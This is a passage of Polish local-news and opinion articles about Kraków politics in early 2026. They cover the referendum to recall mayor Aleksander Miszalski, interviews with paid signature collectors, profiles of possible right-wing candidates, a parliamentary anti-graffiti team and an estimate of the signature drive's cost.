wystarczająco poważne, by usuwać prezydenta z urzędu. Stabilizacja i kontynuacja rozpoczętych projektów – wielu wskazuje, że modernizacja i inwestycje (np. metro, budowy nowych dróg) wymagają dłuższego czasu i nie powinny być nagle przerywane. Ryzyko przerwania kluczowych inwestycji – referendum i potencjalna zmiana władzy mogą zagrozić ciągłości dużych projektów miejskich. Słaba realna frekwencja i zainteresowanie wśród mieszkańców – część przeciwników twierdzi, że w Krakowie tak naprawdę niewielu mieszkańców jest zainteresowanych referendalnym głosowaniem. Nacjonalizacja sporu przez partie polityczne – przeciwnicy uważają, że referendum stało się narzędziem walki partyjnej, a nie obywatelskiej inicjatywy. Możliwość chaosu po ewentualnym odwołaniu – brak jasnych kandydatów i planów po referendum budzi obawy o destabilizację lokalnej polityki. Brak alternatywnych wizji rozwoju miasta – przeciwnicy pytają, kto realnie mógłby przejąć władzę i czy miałby lepszy plan dla Krakowa. Odpowiedzialność za wykorzystanie narzędzia demokratycznego – choć referendum jest prawem, przeciwnicy przekonują, że nie powinno się go wykorzystywać pochopnie, zwłaszcza na wczesnym etapie kadencji. Wątpienie w głębsze poparcie społeczności lokalnej – część głosów sugeruje, że wielu podpisujących to osoby spoza Krakowa albo silnie zmotywowani komentatorzy, a nie szeroka większość mieszkańców. Argument o konieczności czasu na realizację obietnic – przeciwnicy zwracają uwagę, że prezydent ma pięć lat mandat, a ocena jego pracy po półtora roku jest przedwczesna. ZOBACZ TAKŻE: Serce bije szybciej, gdy w portfelu coś szeleści. A gdy szeleści, to wiadomo – od Gibały Kontekst proceduralny: Aby referendum mogło się odbyć, musi zostać zebranych co najmniej ok. 58,3 tys. podpisów mieszkańców, a w samym głosowaniu udział musi wziąć min. 60% liczby wyborców z poprzednich wyborów prezydenckich, czyli ok. 158,5 tys. osób. W nadchodzących tygodniach Kraków będzie obserwował, jak trwająca kampania obywatelska i reakcje mieszkańców przełożą się na ostateczny wynik. Niezależnie od tego, jaka opcja wygra, debata wokół referendum wyraźnie pokazuje, że krakowianie chcą mieć realny wpływ na strategię i przyszłość ich miasta.

Więcej…

Poszedłem podpisać się pod referendum. Oto kulisy ulicznej akcji

Poszedłem podpisać się pod referendum. Oto kulisy ulicznej akcji

24 lutego 2026 | 09:33

Mówią, że to „oddolna inicjatywa mieszkańców”. Ale gdy zaczynasz zadawać pytania, entuzjazm gaśnie szybciej niż wiarygodność ich argumentów. Na ulicach Krakowa trwa zbiórka podpisów pod referendum w sprawie odwołania prezydenta Aleksandra Miszalskiego. Niebieskie kamizelki, hasła o nepotyzmie, betonozie i „potrojonym długu”. Problem w tym, że gdy pytasz o liczby, terminy i fakty – zapada cisza. Albo padają odpowiedzi, które z rzeczywistością mają niewiele wspólnego. Rozmawiałem z kilkoma osobami zbierającymi podpisy. Każda z nich przyznała, że dostaje wynagrodzenie. Stawka zależy od liczby podpisów zebranych na godzinę. – Da się dorobić – usłyszałem. To oczywiście nic złego. Ale trudno mówić o spontanicznym zrywie obywatelskim, gdy za każdy podpis ktoś inkasuje prowizję. ZOBACZ TAKŻE: Ile dziennie kosztuje zbieranie podpisów pod listą referendalną? Argumenty? „Miszalski potroił zadłużenie”. Tyle że dług miasta nie „wystrzelił” w sposób, o którym mówili ankieterzy. „Referendum pod koniec roku”. Nie. Jeśli do niego dojdzie, terminy są zupełnie inne. „20 procent terenów zielonych w całym Krakowie”. Źródło? „Post na Facebooku”. Gdy dopytuję o alternatywę, słyszę: „Nie mam pojęcia”. Gdy pytam, kto administruje danymi osobowymi – odpowiedzi są mgliste. Gdy pytam, kto za tym stoi, pada nazwa stowarzyszenia Kraków dla Mieszkańców, którego liderem jest Łukasz Gibała. Dlaczego miałbym się podpisać? Rozmawiałem z sześcioma osobami, które w niebieskich kamizelkach zbierają podpisy pod listą referendalną. Od pierwszej z nich, na Rondzie Mogilskim, dowiedziałem się, że jak tylko podpiszę listę, a – podobnie jak ja – postąpi 60 tysięcy krakowian, to prezydent z automatu zostanie odwołany. Ta krótka wymiana zdań zainspirowała mnie do kolejnych pogawędek ze zbierającymi podpisy pracownikami. „Miszalski potroił zadłużenie” Ja: – Dlaczego miałbym się podpisać? Pracownik 2: – Jak pan podpisze to odbędzie się referendum i odwołamy prezydenta. – A dlaczego chcemy go odwołać? – Kurczę, ja nie lubię robić personalnych zarzutów. Ogólnie to ludzie zrzucają mu nepotyzm, niewykonywanie zobowiązań, do których się sam zobowiązał, niewywiązywanie się z obietnic wyborczych, zgadzanie się na niefajne projekty, jeśli chodzi o infrastrukturę krakowską. I, przede wszystkim, jakieś absurdalne zadłużenie miasta. – A jakie jest zadłużenie miasta? Po tym pytaniu nastała cisza, dlatego postanowiłem pomóc. – Jak Majchrowski kończył ostatnią kadencję, to zadłużenie wynosiło coś między 6 a 7 mld. – No to Miszalski już to chyba podwoił albo potroił to zadłużenie. [Zadłużenie Krakowa na początku 2026 roku przekroczyło 7,85 mld złotych – dop. autor] „Referendum pod koniec roku” Ja: – Kiedy odbędzie się to referendum? Pracownik 3: – Pod koniec roku. – A wybory? – Chyba też pod koniec roku. Bo to zawsze tak długo trwa. Przetwarzają, analizują… [Jeśli dojdzie do referendum, to odbędzie się najpóźniej w czerwcu. W razie odwołania prezydenta, wybory odbędą się najpóźniej we wrześniu – dop. autor] fot. Kanał Krakowski „Stawki są różne” Ja: – Dlaczego miałbym się podpisać? Pracownik 4: – Strefa Czystego Transportu to rozwiązanie bardzo niesprawiedliwe – Akurat mieszkam w Krakowie i jestem zwolennikiem SCT. – No bo w dłuższym okresie jest to dobry program. Ale z gmin ościennych i tak cały ten smog napływa do Krakowa, więc SCT nie wpływa tak na nasze powietrze. Poza tym problemem są też podwyżki cen wywozu śmieci czy biletów MPK. – Gibała zbiera te podpisy? Nie. My nie jesteśmy ani od Gibały ani od PiS-u. Ani od Konfederacji, bo to też często słyszę. Jesteśmy bezpartyjni. Oni wszyscy też zbierają, ale my jesteśmy niezależni. – A kto jest administratorem danych osobowych? – Jan Hoffman jest jednym z inicjatorów. To taki działacz krakowski. Nie wiem, czy jest bezpartyjny, dokładnie nie kojarzę. – Płacą wam chociaż za to stanie tutaj? – No pewnie, coś tam dostajemy. Zależy ile podpisów się zbierze. Różne stawki są. Da się dorobić. Łukasz Gibała / fot. Łukasz Michalik „Gibała nie będzie startował” Ja: – Dlaczego miałbym się podpisać? Pracownik 5: – Przede wszystkim betonoza w całym Krakowie… – O betonozie to już za Majchrowskiego mówili. – Ale wie pan, chodzi nam o to, żeby tej betonozy nie było. Bo Miszalski nawet powiedział, że nie chce zostawić nawet 20 procent terenów zielonych w Krakowie. – Serio?! Kiedy tak powiedział? – Był post o tym na Facebooku. – Jaki? – No że chce zostawić 20 procent terenu zielonego. 20 procent w całym Krakowie! Więc nie wiem, gdzie będziemy wychodzić na spacer, z psem… (…) – Kto zbiera te podpisy, tak dokładnie? – My jesteśmy Kraków dla Mieszkańców, stowarzyszenie. – Czyli Gibała? – Tak, tak. – A już była Pani bliska, bym się podpisał. (śmiech) – Dlaczego zbiera Pani dla Gibały? – My jesteśmy Kraków dla Mieszkańców. Walczymy ogólnie dla Krakowa. Ze wszystkim tak naprawdę. – Żeby Gibała został prezydentem? – Nie. Gibała prawdopodobnie w ogóle nie będzie startował. – Bez jaj. Już trzy razy startował. – No ale nawet pisał na internecie, że nie wie, czy będzie startował. Więc nie jest to stricte tak dla niego. Jest to ogólnie dla Krakowa. – No to na kogo głosować, jak odwołamy Miszalskiego? – Nie mam pojęcia. – No ale jaka jest alternatywa? Zależy co wystawią. Wiadomo, że politycy muszą potrafić kłamać, bo taka jest polityka. Gdyby nie kłamali, to nikt by na nich nie głosował. Inicjatorzy referendum / fot. Kanał Krakowski „Stawka zależy od zebranych podpisów na godzinę” Ja: – Jak się podpiszę, to będzie Pani coś z tego miała? Pracownik 6: – No taaak! – A ile Pani zarobi za mój podpis?   – Nie mam pojęcia, zależy ile będę miała wszystkich. Mamy płacone na godzinę. To znaczy, stawka zależy do tego, ile podpisów mamy na godzinę. – To może ja sobie dorobię? – Może pan przyjść. – A ile osób zbiera? – Z naszego biura około 60. Dziś w terenie zbiera około 30. – Po domach też chodzicie? – Tak. To się door to door nazywa. I chodzimy po blokach. (…) – A gdzie trafiają te podpisy? – Nie wiem dokładnie, ale do skarbnicy. Najpierw to idzie do naszego biura i ktoś to przelicza. Potem idzie to wyżej i ktoś to przelicza jeszcze raz. A potem do skarbnicy. Tak nam powiedzieli. Ja nie wiem, co to za skarbnica. Referendum to decyzja z konsekwencjami  Jeśli referendum ma być poważnym narzędziem demokracji, to musi opierać się na faktach, odpowiedzialności i jasnym celu. Tymczasem z rozmów wyłania się obraz akcji, w której łatwo rzuca się ciężkie oskarżenia, trudniej podać liczby, a najtrudniej wskazać jakąkolwiek realną alternatywę. Odwołanie prezydenta miasta to nie facebookowy komentarz ani sonda uliczna. To decyzja, która paraliżuje samorząd na miesiące i kosztuje wszystkich mieszkańców czas, pieniądze i stabilność. Jeśli ktoś chce mnie przekonać do takiego kroku, musi zaproponować coś więcej niż hasła o „betonozie” i „potrojonym długu”. Bo podpis pod listą to nie jest gest „przeciw komuś”. To jest ruch „za czymś”. Za konkretną wizją miasta, za konkretną odpowiedzialnością i za kimś, kto potrafi wziąć stery, jeśli obecny prezydent straci mandat. Tymczasem gdy pytam: „kto zamiast?”, słyszę: „nie mam pojęcia”. A to wystarczający powód, by długopis jednak schować do kieszeni. ZOBACZ TAKŻE: Ile dziennie kosztuje zbieranie podpisów pod listą referendalną?

Więcej…

Radni jak dzieci… czy raczej jak kukiełki?

Radni jak dzieci… czy raczej jak kukiełki?

23 lutego 2026 | 18:08

Konfederacja chce, by radni głosowali od razu po dyskusji nad każdym punktem, a nie hurtem na końcu sesji. Na papierze brzmi to jak powiew zdrowego rozsądku. W praktyce? To jak przestawianie zegarka w pokoju, w którym od dawna nikt nie patrzy na godzinę. Konfederacja złożyła petycję, by radni głosowali zaraz po dyskusji nad danym punktem, a nie w jednym wielkim bloku na końcu sesji. I w sumie… ma sens! Oczywista sprawa. Logika sama się prosi. Ale zaraz, zaraz… Ideologiczne pomysły to jedno, a życie to drugie. Bo jak naprawdę wyglądają głosowania w radzie miasta? Radni wiedzą, jak zagłosują jeszcze zanim dyskusja się zacznie. Decyzje zapadają na posiedzeniach klubów, przy kawie, między kanapką a przeglądaniem telefonu. A jeśli ktoś nie do końca wie, nad czym głosuje, spokojnie – zawsze można zerknąć na sąsiada z klubu i zrobić dokładnie to samo. Problem rozwiązany. Sesja Rady Miasta Krakowa / fot. Łukasz Michalik Po co więc ta cała dyskusja podczas sesji? Po co to wykrzykiwanie z mówiący? Po co wielkie erystyczne show? To teatrzyk dla lokalnych mediów i kilkudziesięciu mieszkańców, którzy oglądają transmisję sesji w internecie. No i jeszcze – co bardzo ważne – by powycinać sobie fajne shorty na media społecznościowe. Tak więc, czy naprawdę zmiana kolejności głosowania coś zmieni? Nie zmieni. Bo problem nie tkwi w tym, że radni głosują w bloku na końcu sesji. Problem tkwi w tym, że część radnych… nie wie nawet, nad czym głosuje. Nie wiedzą, bo nie muszą wiedzieć. Mają kolegę z klubu, który „zna temat”, i po prostu kopiują jego decyzję. To nie jest wymysł, to codzienność. Tak kosmetyczne poprawki, jak zmiana momentu głosowania, mogą wyglądać ładnie w petycji, w mediach, na Facebooku. Ale prawdziwa zmiana nie przyjdzie od tego, że głosowanie odbędzie się tuż po dyskusji. Prawdziwa zmiana wymaga przewartościowania całej „klasy politycznej” – radnych, którzy traktują sesje jak formalność, którzy wybierają zgodnie z klubowymi dyrektywami, a nie własnym rozumem. Prawda jest taka, że dziś moglibyśmy skrócić sesje wyłącznie do bloku głosowań. Do formalności. Bo dopóki cały samorząd pozostaje tak mocno upolityczniony i tak wygodny dla schematów partyjnych, dopóty kosmetyczna zmiana w rodzaju „głosujemy od razu po omawianym punkcie” będzie tylko pozornym ruchem. Radni PiS. Do lewej: Mariusz Kękuś, Michał Drewnicki i Włodzimierz Pietrus / fot. Łukasz Michalik Czy to jest normalne? – zapyta jakiś oburzony mieszkaniec. "Normalne" może nie, ale na pewno powszechne. A powszechne nie znaczy, żę wartościowe. Jedzenie w McDonald’s też jest powszechne, ale chyba nikt nie powie, że jest zdrowe. Podobnie powszechny teatr w radzie miasta nie staje się nagle wartościowym doświadczeniem obywatelskim. Więc tak, pomysł Konfederacji ma sens. W teorii. W praktyce najważniejsze jest nie to, kiedy radni wcisną przycisk, ale to, żeby przestali być kukiełkami w rękach partyjnych układów. Dopóki tego nie zmienimy, każda „kosmetyczna” zmiana będzie jak przestawienie fotela na statku tonącym w politycznych schematach. I nawet najlepsze petycje nic tu nie zdziałają. Chyba, że ktoś wreszcie zacznie patrzeć radnym na ręce, zanim wcisną przycisk. ZOBACZ TAKŻE: Nowy władca prawicy w Krakowie. Przystojny, ambitny, nie do powstrzymania

Więcej…

Kraków stadionową potęgą. Co czeka obiekty Cracovii, Wisły, Wieczystej, Hutnika i Garbarni?

Kraków stadionową potęgą. Co czeka obiekty Cracovii, Wisły, Wieczystej, Hutnika i Garbarni?

23 lutego 2026 | 14:08

Kraków stoi przed stadionową rewolucją! Wisła, Cracovia, Wieczysta, Hutnik i Garbarnia gotowe są wywrócić piłkarską mapę miasta do góry nogami! Czy wreszcie doczekamy się stadionów, o jakich kibice marzą od dekad, czy kolejny raz utopimy miliony w papierowych planach? W najnowszym materiale eksperci z portalu Stadiony.net przyglądają się stadionowym planom największych i najbardziej ambitnych klubów naszego miasta. Czy Kraków ma szansę stać się stadionową potęgą? Ambicje Wisły, Cracovii, Wieczystej, Hutnika i Garbarni są wielkie, ale zderzają się z biurokracją, kosztami i ograniczeniami architektonicznymi. W tym materiale sprawdzamy stan infrastruktury piłkarskiej w Krakowie na rok 2026. W materiale zobaczysz, jak skończył się "sen o potędze" na Rydlówce, ile brakuje w budżecie na nowy dom Wieczystej i dlaczego Hutnik utknął w procedurach planistycznych. Stadiony.net analizują też sytuację gigantów: Cracovii i Wisły. Czy obiekt przy ul. Kałuży ma szansę na rozbudowę pod nowym zarządem i jak radzi sobie Wisła na Reymonta już jako Synerise Arena? Odpowiedzi na te pytania znajdziecie w materiale poniżej. źródło: Stadiony.net

Więcej…

Nowy władca prawicy w Krakowie. Przystojny, ambitny, nie do powstrzymania

Nowy władca prawicy w Krakowie. Przystojny, ambitny, nie do powstrzymania

23 lutego 2026 | 10:05

Jeszcze kilka miesięcy temu był jednym z wielu lokalnych działaczy, znanym w bardzo wąskim kręgu prawicowców. Dla pozostałych – polityczny nołnejm. Dziś coraz śmielej mówi się, że to on może rozdawać karty po prawej stronie krakowskiej, a może i ogólnopolskiej sceny politycznej. Piotr Bartosz nie ukrywa ambicji i coraz mniej osób ma wątpliwości, że jego polityczny marsz dopiero się rozpędza. Trampoliną do jego kariery ma być oczywiście referendum w sprawie odwołania prezydenta Krakowa. W praktyce już nią jest. Bo choć wciąż nie wiadomo, czy referendum w ogóle się odbędzie, Bartosz stał się jedną z najbardziej rozpoznawalnych twarzy tej inicjatywy. Nowa gwiazda prawej strony sceny Piotr Bartosz wyrasta na jedną z najbardziej wyrazistych postaci krakowskiej polityki. Ma 40 lat. Z zawodu jest technikiem elektronikiem. Prywatnie mąż i ojciec. Od 2020 roku prowadzi własną działalność gospodarczą w branży budowlanej. Jednak to nie biznes, a polityka wydaje się jego prawdziwą pasją. I, sądząc po tempie działań, także długofalowym planem na przyszłość. Od 2015 roku konsekwentnie buduje swoją pozycję w środowiskach narodowych. Dziś jest liderem krakowskich struktur Ruchu Narodowego. Jak mówią jego sympatycy – „pracowity i zdeterminowany”. Jak podkreślają przeciwnicy – „ambitny aż za bardzo”. Jedno jest pewne: obok jego nazwiska trudno przejść obojętnie. Polityczna trampolina na czterech kołach W 2023 roku startował w wyborach do Sejmu z list Konfederacji. Uzyskał 0,33 procent głosów. Wynik daleki od spektakularnego. źródło: PKW Szerokiej publiczności dał się jednak przede wszystkim poznać jako twarz protestów przeciwko Strefie Czystego Transportu. Jako przewodniczący komitetu społecznego „Kraków dla Kierowców” współtworzył inicjatywę uchwałodawczą mającą na celu uchylenie miejskich regulacji. Transparenty, konferencje prasowe, wystąpienia... Bartosz szybko odnalazł się w roli lidera ulicznego sprzeciwu. Dla jednych stał się obrońcą kierowców, dla innych – sprawnym politycznym strategiem, który wyczuł społecznie nośny temat. To nie był przypadek. On wiedział, że SCT to paliwo polityczne. Buduje swoją karierę na konflikcie. Im większe emocje, tym lepiej dla niego.  – mówi nam jeden z miejskich radnych. Następca z ambicjami W krakowskich kręgach prawicowych coraz częściej pojawia się pytanie, czy to właśnie on ma stać się naturalnym następcą Konrada Berkowicza – dotychczas jednej z najbardziej rozpoznawalnych postaci tego środowiska. Skompromitowanego (nie tylko kradzieżą patelni z IKEA) polityka mógłby więc zastąpić nowy, mniej kontrowersyjny, a przy tym chyba nawet bardziej wyrazisty lider. Dynamiczny, konsekwentnie budujący własną markę Bartosz zdaje się mieć apetyt na więcej niż tylko rolę lokalnego działacza. On bardzo chce wejść w buty Berkowicza. A może nawet w większe. Jeśli ktoś myśli, że to tylko lider protestu od samochodów, to się grubo myli. On celuje w parlament. – słyszymy od jednego z politycznych wyjadaczy. Mężczyzna jak z plakatu Nie bez znaczenia pozostaje wizerunek. Wysoki, przystojny, zawsze starannie ubrany. Zarówno na żywo jak i w mediach społecznościowych prezentuje się jak polityk nowej generacji. Taki, który wie, że dziś bardziej niż program liczy się prezencja. On wygląda jak z plakatu wyborczego jeszcze zanim kampania się zacznie. Czasem mam wrażenie, że w tym wszystkim więcej jest marketingu niż idei.  – śmieje się jeden z działaczy. Z pomocą przyszedł Gibała Kraków od lat jest sceną ostrych sporów ideowych. Tu ścierają się wizje miasta otwartego i progresywnego z narracją o „obronie tradycji” i sprzeciwie wobec kolejnych zmian. To również przestrzeń, w której – paradoksalnie – stosunkowo łatwo wypłynąć. Wystarczy wyrazisty temat, mocne hasło i determinacja, by przebić się do medialnego obiegu. A sprzeciw bywa paliwem wyjątkowo wydajnym. Bartosz zdaje się doskonale to rozumieć. A dzisiejszy klimat polityczny w mieście sprzyja tym, którzy chcą wjechać z impetem do wielkiej gry. W dużej mierze to efekt działań Łukasza Gibały. Niepogodzony z porażką w wyborach polityk od 17 lat próbuje zdobyć miejsce w Pałacu Wielopolskich. ZOBACZ TAKŻE: Majchrowski: "Gibała od 17 lat przebiera nogami, by być prezydentem" [WYWIAD] Skoro trzykrotnie przegrał wybory, postanowił kolejny raz spróbować odwołać urzędującego prezydenta w drodze referendum. Wcześniej nie udało mu się to wobec Jacka Majchrowskiego, bo wśród złożonych przez Gibałę podpisów, PKW i prokuratura doszukały się kilkudziesięciu tysięcy sfałszowanych. ZOBACZ TAKŻE: Referendalna hucpa Gibały, sfałszowane podpisy i kompromitacja prokuratury Teraz celem stał się Aleksander Miszalski. A takie buntownicze akcje wymierzone w rządzących, od lat stanowią naturalne środowisko wzrostu dla środowisk narodowych i szerzej rozumianej skrajnej prawicy. Polityka na paliwie sprzeciwu Na horyzoncie pojawiła się więc akcja referendalna, a dla tak ambitnego polityka jak Bartosz to sytuacja niemal modelowa. Wyraźny przeciwnik, konkretne emocje społeczne i możliwość ustawienia się w roli lidera „obywatelskiego sprzeciwu”. Prezydent Miszalski objął w zeszłym roku patronatem Paradę Równości, co było dla nas dziwne i niedopuszczalne. (...)Na pewno też do zmiany jest sposób pełnienia urzędu, bo widać, że prezydent Miszalski trochę nie dorósł do tego stanowiska. Ja rozumiem, że żyjemy w XXI wieku, w dobie cyfryzacji i mediów społecznościowych, które poniekąd wymuszają na politykach, żeby brać w nich czynny udział. Natomiast nagrywanie głupich tiktoków nie sprawia, że ludzie takiego prezydenta traktują poważnie. – mówił lider Ruchu Narodowego w wywiadzie dla KRKnews: Piotr Bartosz o referendum: "Nawet Tusk z Trzaskowskim nie pomogą Miszalskiemu". Bo w polityce lokalnej, podobnie jak w ogólnopolskiej, łatwiej przebić się na fali negacji niż poprzez żmudne budowanie kompromisów. Referendum to dla niego polityczne złoto. Może znów stanąć na czele gniewu. – ocenia jeden z radnych. Nie jest tajemnicą, że środowiska narodowe i szerzej rozumiana skrajna prawica w Polsce od lat budują swoją popularność właśnie na sprzeciwie: wobec elit, instytucji i kolejnych reform. Mechanizm jest prosty: im większe niezadowolenie, tym większa przestrzeń do zagospodarowania. Hasło „nie” bywa bardziej nośne niż skomplikowane „jak”. Referendum. Trampolina czy test dojrzałości? Czy więc referendum stanie się dla Bartosza kolejną trampoliną? W mieście, w którym emocje polityczne łatwo się rozpalają, a debata szybko przeradza się w spór, taka strategia może przynieść szybkie efekty. Pytanie tylko, czy na dłuższą metę wystarczy sama energia sprzeciwu, czy też wyborcy zaczną oczekiwać czegoś więcej niż konsekwentnego „nie”. Pytanie nie brzmi już natomiast, czy Piotr Bartosz ma ambicje (bo te widać gołym okiem), ale jak daleko one sięgają. ZOBACZ TAKŻE: PiS wyciągnie asa z rękawa? To ON może zasiąść w fotelu prezydenta Krakowa

Więcej…

PiS wyciągnie asa z rękawa? To ON może zasiąść w fotelu prezydenta Krakowa

PiS wyciągnie asa z rękawa? To ON może zasiąść w fotelu prezydenta Krakowa

20 lutego 2026 | 15:07

Jeszcze dobrze nie zebrano podpisów pod wnioskiem referendalnym. Jeszcze nie wiadomo, kiedy – ani nawet czy – referendum w ogóle się odbędzie. Jeszcze nie wiadomo, czy mieszkańcy będą chcieli odwołać Aleksandra Miszalskiego. A już ruszyła polityczna giełda nazwisk i zakulisowe przymiarki do wskazania jego następcy. Gibała? Jako nieformalny lider referendum, nie po to dąży do odwołania prezydenta, by nie chcieć zająć jego fotela. Pod Gibałę podpięli się już i Konfederacji (czyli słynny złodziej patelni z IKEA Berkowicz) i skrajne lewactwo (przyszła pani poseł Owca). Jak przyjdzie co do czego, to pewnie się pokłócą w pierwszym możliwym terminie, ale na razie walczą dzielnie ramię w ramię. To jednak oczywistości. Wszyscy o tym mówią, wszyscy o tym piszą, wszyscy to widzą. ZOBACZ TAKŻE: Majchrowski: "Gibała od 17 lat przebiera nogami, by być prezydentem" [WYWIAD] Najciekawiej jest jednak w Prawie i Sprawiedliwości.  Tu wchodzimy w krakowską tradycję. Bo zanim jeszcze opadnie pierwszy kurz, zanim komitety policzą podpisy, zanim eksperci ogłoszą, że „wszystko jest możliwe” – na horyzoncie pojawia się ON. Dyżurny kandydat. Nazwisko, które powraca jak hejnał z Mariackiej wieży. Andrzejewski. A ściślej: Mariusz Andrzejewski – ekonomista, profesor, człowiek z doświadczeniem państwowym i akademickim. W krakowskiej polityce funkcjonuje trochę jak polityczny rezerwista: nie zawsze na boisku, ale zawsze w kadrze. Kiedy tylko zaczyna się spekulacyjny sezon, jego nazwisko wypływa jako „poważna opcja”. Dlaczego właśnie on? Po pierwsze: rozpoznawalność w środowiskach prawicowych i akademickich. Był wiceministrem finansów za czasów rządów PiS-u. Współtworzył program PiS-u. I wreszcie startował już z list PiS-u w wyborach do europarlamentu. Członkiem PiS-u jednak nie jest. Po drugie: wizerunek człowieka merytorycznego, z zapleczem eksperckim. Jest profesorem nadzwyczajnym Uniwersytetu Ekonomicznego. Kandydował na rektora UEK-u w ostatnich wyborach, ale ostatecznie się wycofał "z powodów rodzinnych". Odznaczony kilkoma krzyżami i orderami. Po trzecie: brak zużycia w codziennej, ostrej miejskiej wojnie. Kiedyś wyskoczył z jakimś pomysłem budowy toru Formuły 1 w Nowej Hucie, ale generalnie nie kojarzy się z polityczną "naparzanką". Na pewno nie ma tak zużytej twarzy, jak Gibała. Co więcej: ma twarz! Może nie tak rozpoznawalną, ale... Po czwarte: jeszcze nic nie zepsuł. Bo za wiele się nie narobił w miejskiej polityce, więc byłyby kandydatem "świeżym", a nawet "obywatelskim". Niczym Nawrocki. Mógłby udawać, że nie jest "pisiorem", a kandydatem "obywatelskim". Na pewno nie kojarzy się z twardym elektoratem PiS-u. Po piąte: dobrze wygląda. A w polityce to ważne. Mariusz Andrzejewski / Zdjęcie pochodzi z FB Mariusza Andrzejewskiego Kraków to dziś miasto mocno spolaryzowane, lecz jednocześnie coraz bardziej wrażliwe na kwestie jakości życia: transport, zieleń, chaos inwestycyjny, mieszkania. Kandydat partii ogólnopolskiej musi przekonać wyborców, że nie jest tylko politycznym szyldem, lecz realną alternatywą dla obecnego układu. Referendum – jeśli do niego dojdzie – stanie się czymś więcej niż oceną jednej osoby. Będzie testem nastrojów. Testem zmęczenia. Testem tego, czy mieszkańcy chcą rewolucji, czy raczej korekty kursu. A PiS? Partia znajdzie się w klasycznej sytuacji: czy postawić na sprawdzone nazwisko, które „zawsze jest pod ręką”, czy jednak zaryzykować świeżą twarz? Problem w tym, że świeże twarze nie rosną na Plantach jak kasztany. ZOBACZ TAKŻE: Lider krakowskiego PSL-u: "Miszalski sam dolewa oliwy do ognia" [WYWIAD] Twarze zużyte lub mocno kojarzone z PiS-em, w Krakowie raczej większych szans nie mają. Ale Andrzejewski? ON już może namieszać. I, paradoksalnie, w starcie w wyborach może mu zaszkodzić sam... PiS. A konkretniej, ci wszyscy lokalni liderzy z wybujałym ego, dla których polityka to sens życia, uważający, że to oni są najlepszymi kandydatami na prezydenta, mimo że ich poparcie ani przez moment nie jest większe niż poparcie partii. Jednak to oni już kilka razy nie zgodzili się, by to profesor UEK-u reprezentował ich w wyborach. Najbliżej tego celu był w 2018 roku, ale wówczas partia postawiała ostatecznie na Małgorzatę Wassermann.   Dzis jednak w kuluarach znów słychać: „A może jednak Andrzejewski?”. ZOBACZ TAKŻE: Urynowicz: "Referendum to potyczka Miszalskiego i Gibały" [WYWIAD]

Więcej…

Kraków ma DOŚĆ! Koniec pobłażania. Będzie zaostrzenie prawa

Kraków ma DOŚĆ! Koniec pobłażania. Będzie zaostrzenie prawa

19 lutego 2026 | 10:10

Kraków idzie na wojnę z wandalami. Powstał Parlamentarny Zespół ds. Przeciwdziałania Wandalizmowi i Nielegalnemu Graffiti, a krakowscy politycy grają w nim główne role. Nic dziwnego, bo nasze miasto od lat boryka się z niszczeniem budynków, głównie przez kiboli. Kraków ma dość bazgrołów na elewacjach, przystankach i zabytkach. W odpowiedzi na narastający problem powołano Parlamentarny Zespół ds. Przeciwdziałania Wandalizmowi i Nielegalnemu Graffiti. Na jego czele stanęła senator z Krakowa, Monika Piątkowska. Wiceprzewodniczącym został krakowski poseł, Dominik Jaśkowiec, a jednym z członków zespołu jest kolejny krakowski parlamentarzysta – Jerzy Meysztowicz. W pierwszym spotkaniu zespołu uczestniczył także krakowski radny Tomasz Daros. Samorządy co roku wydają miliony złotych na usuwanie zniszczeń, a sprawcy często pozostają bezkarni. Kamienice, szkoły, przystanki, zabytki są niszczone, a mieszkańcy płacą za to z własnych podatków. To nie jest kwestia „estetyki”. To kwestia bezpieczeństwa, porządku i szacunku do wspólnej przestrzeni – podkreśla senator Piątkowska. Jak zapowiada przewodnicząca zespołu, prace mają skupić się na konkretnych rozwiązaniach: skuteczniejszym egzekwowaniu kar uproszczeniu procedur realnym wzmocnieniu kompetencji gmin Parlamentarny Zespół ds. Przeciwdziałania Wandalizmowi i Nielegalnemu Graffiti Problem nielegalnego graffiti od lat dotyka Kraków. Miasto regularnie zalewane jest napisami i symbolami, często powiązanymi ze środowiskami kiboli piłkarskich klubów. Usuwanie bazgrołów kosztuje miliony złotych rocznie, a efekty są krótkotrwałe. Nowe napisy pojawiają się niemal natychmiast. Nielegalne graffiti to nie „sztuka ulicy”. To realne straty dla wspólnot mieszkaniowych, przedsiębiorców i miasta. To zniszczone elewacje, koszty ponoszone przez mieszkańców i poczucie bezkarności sprawców – mówi radny Daros, który był w Warszawie jako przewodniczący zespołu ds. przeciwdziałania nielegalnemu graffiti w Krakowie. Politycy z Krakowa przekonują, że nikt nie zna skali problemu lepiej niż oni. Teraz zapowiadają, że walka z wandalizmem ma wyjść poza poziom lokalny i zyskać realne wsparcie legislacyjne. Czy nowe przepisy okażą się skuteczne? Mieszkańcy czekają na konkretne efekty. I czyste ściany. 

Więcej…

Ile dziennie kosztuje zbieranie podpisów pod listą referendalną?

Ile dziennie kosztuje zbieranie podpisów pod listą referendalną?

19 lutego 2026 | 09:43

Ile kosztuje akcja referendalna? Na to pytanie pełną odpowiedź zna zapewne wyłącznie Łukasz Gibała. Sam zresztą przyznał, że płaci ludziom za zbieranie podpisów. I nie ma w tym nic nagannego – pod warunkiem, że nie nazywamy tych ludzi wolontariuszami. Wolontariat z definicji jest bowiem pracą dobrowolną i świadczoną BEZPŁATNIE. Wróćmy jednak do kosztów. Osoby z zewnątrz mogą jedynie próbować je oszacować na podstawie niepełnych informacji oraz dostępnych publicznie ogłoszeń. Spróbujmy więc przeprowadzić ostrożne, modelowe wyliczenie, opierając się na kilku założeniach. Załóżmy hipotetycznie, że podpisy zbiera 100 opłacanych pracowników. Z ogłoszeń pojawiających się w internecie wynika, że stawka wynosi około 57 złotych brutto za godzinę. Przyjmijmy również, że każda z tych osób pracuje średnio 8 godzin dziennie. W takim wariancie proste działanie matematyczne wygląda następująco: 100 pracowników × 57 zł × 8 godzin = 45 600 zł dziennie. Oznacza to, że przy przyjętych parametrach dzienny koszt samego zbierania podpisów mógłby wynosić blisko 50 tys. zł. Jeśli akcja trwałaby 60 dni (to maksymalny czas zbierania podpisów), całkowity koszt pracy osób zbierających podpisy wyniósłby: 45 600 zł × 60 dni = 2 736 000 zł. Dwa miliony siedemset trzydzieści sześć tysięcy złotych. Tyle – przy przyjętych założeniach – mogą wynieść koszty samego zbierania podpisów. Do tego należy doliczyć całą masę innych kosztów: opłaty administracyjne, obsługa prawna, druk materiałów, kampania informacyjna, przygotowanie strony internetowej, przygotowanie banerów, transport, koszty logistyczne, obsługa księgowa i finansowa, wynajem lokali, wydłużenie czasu 